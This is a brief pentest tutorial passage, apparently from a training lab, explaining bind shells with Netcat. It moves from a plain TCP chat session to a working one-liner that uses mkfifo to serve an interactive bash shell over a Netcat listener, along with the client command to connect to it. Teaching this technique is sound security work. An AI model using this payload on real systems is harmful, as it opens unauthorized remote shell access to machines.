With a bind shell, the target system has a listener started and awaits a connection from a pentester's system (attack box).

nc -lvnp 7777
nc -nv 10.10.10.10 7777
We can see its functionality by typing a simple message on the client-side and viewing it received on the server-side.
This is not a Shell but just a Netcat TCP session we have established
We have shown that we can use Netcat to send text between the client and the server, but this is not a bind shell because we cannot interact with the OS and file system.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.238.111 7777 > /tmp/f
The commands above are considered our payload, and we delivered this payload manually.
nc -nv 10.129.10.10 7777